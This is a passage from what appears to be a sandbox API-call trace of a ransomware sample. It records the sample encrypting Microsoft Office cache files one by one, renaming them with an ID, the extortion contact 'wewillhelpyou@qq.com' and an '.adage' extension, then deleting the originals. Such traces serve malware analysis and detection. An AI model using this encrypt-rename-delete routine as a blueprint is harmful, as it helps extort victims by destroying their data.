lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0052.021] CryptDestroyKey (hKey=0x4d5230) returned 1 [0052.021] CloseHandle (hObject=0x17c) returned 1 [0052.021] CloseHandle (hObject=0x178) returned 1 [0052.023] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0052.024] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.240] ResetEvent (hEvent=0x158) returned 1 [0052.240] SetEvent (hEvent=0x15c) returned 1 [0052.240] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0052.240] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.240] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2772) returned 1 [0052.240] CloseHandle (hObject=0x184) returned 1 [0052.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0052.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.240] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.241] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.241] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.241] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.242] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8660) returned 1 [0052.242] CryptSetKeyParam (hKey=0x4d8660, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.242] ReadFile (in: hFile=0x184, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xad4, lpOverlapped=0x0) returned 1 [0052.244] CryptEncrypt (in: hKey=0x4d8660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xae0, dwBufLen=0xae0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xae0) returned 1 [0052.244] WriteFile (in: hFile=0x188, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xae0, lpOverlapped=0x0) returned 1 [0052.245] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86a0) returned 1 [0052.245] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.245] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0052.245] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0052.245] WriteFile (in: hFile=0x188, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0052.245] CryptDestroyKey (hKey=0x4d8660) returned 1 [0052.245] CloseHandle (hObject=0x184) returned 1 [0052.245] CloseHandle (hObject=0x188) returned 1 [0052.246] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0052.247] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.248] ResetEvent (hEvent=0x158) returned 1 [0052.248] SetEvent (hEvent=0x15c) returned 1 [0052.248] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0052.248] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.248] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2108) returned 1 [0052.248] CloseHandle (hObject=0x188) returned 1 [0052.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0052.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.249] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.249] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.249] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.249] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8660) returned 1 [0052.249] CryptSetKeyParam (hKey=0x4d8660, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.249] ReadFile (in: hFile=0x188, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x83c, lpOverlapped=0x0) returned 1 [0052.250] CryptEncrypt (in: hKey=0x4d8660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x840, dwBufLen=0x840 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x840) returned 1 [0052.250] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x840, lpOverlapped=0x0) returned 1 [0052.251] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86a0) returned 1 [0052.251] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.251] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0052.251] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0052.252] WriteFile (in: hFile=0x184, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0052.252] CryptDestroyKey (hKey=0x4d8660) returned 1 [0052.252] CloseHandle (hObject=0x188) returned 1 [0052.252] CloseHandle (hObject=0x184) returned 1 [0052.253] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0052.254] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.256] ResetEvent (hEvent=0x158) returned 1 [0052.256] SetEvent (hEvent=0x15c) returned 1 [0052.256] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0052.256] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.256] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1555) returned 1 [0052.256] CloseHandle (hObject=0x188) returned 1 [0052.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0052.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.256] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.256] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.256] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.257] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.257] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0052.257] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.257] ReadFile (in: hFile=0x188, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x613, lpOverlapped=0x0) returned 1 [0052.258] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x620, dwBufLen=0x620 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x620) returned 1 [0052.258] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x620, lpOverlapped=0x0) returned 1 [0052.259] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86e0) returned 1 [0052.259] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.259] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0052.259] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0052.259] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0052.260] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0052.260] CloseHandle (hObject=0x188) returned 1 [0052.260] CloseHandle (hObject=0x18c) returned 1 [0052.261] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0052.262] WaitForSingleObject (hHandle=0x158, dwMilliseconds=0xffffffff) returned 0x0 [0052.263] ResetEvent (hEvent=0x158) returned 1 [0052.263] SetEvent (hEvent=0x15c) returned 1 [0052.263] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0052.263] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.263] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1665) returned 1 [0052.263] CloseHandle (hObject=0x18c) returned 1 [0052.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0052.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.264] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.264] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.264] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.264] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.264] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0052.264] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.264] ReadFile (in: hFile=0x18c, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x681, lpOverlapped=0x0) returned 1 [0052.268] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x690, dwBufLen=0x690 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x690) returned 1 [0052.268] WriteFile (in: hFile=0x188, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x690, lpOverlapped=0x0) returned 1 [0052.269] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d86e0) returned 1 [0052.269] CryptSetKeyParam (hKey=0x4d86e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.269] CryptEncrypt (in: hKey=0x4d86e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0052.269] CryptDestroyKey (hKey=0x4d86e0) returned 1 [0052.269] WriteFile (in: hFile=0x188, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0052.269] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0052.269] CloseHandle (hObject=0x18c) returned 1 [0052.269] CloseHandle (hObject=0x188) returned 1 [0052.270] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0052.356] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0052.356] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.356] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1665) returned 1 [0052.356] CloseHandle (hObject=0x174) returned 1 [0052.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0052.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0052.357] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0052.357] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.357] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0052.357] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.996] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d87e0) returned 1 [0052.996] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0052.996] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x681, lpOverlapped=0x0) returned 1 [0053.005] CryptEncrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x690, dwBufLen=0x690 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x690) returned 1 [0053.005] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x690, lpOverlapped=0x0) returned 1 [0053.007] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8860) returned 1 [0053.007] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0053.007] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0053.007] CryptDestroyKey (hKey=0x4d8860) returned 1 [0053.007] WriteFile (in: hFile=0x18c, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0053.007] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0053.007] CloseHandle (hObject=0x174) returned 1 [0053.007] CloseHandle (hObject=0x18c) returned 1 [0053.009] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0053.010] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0053.010] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 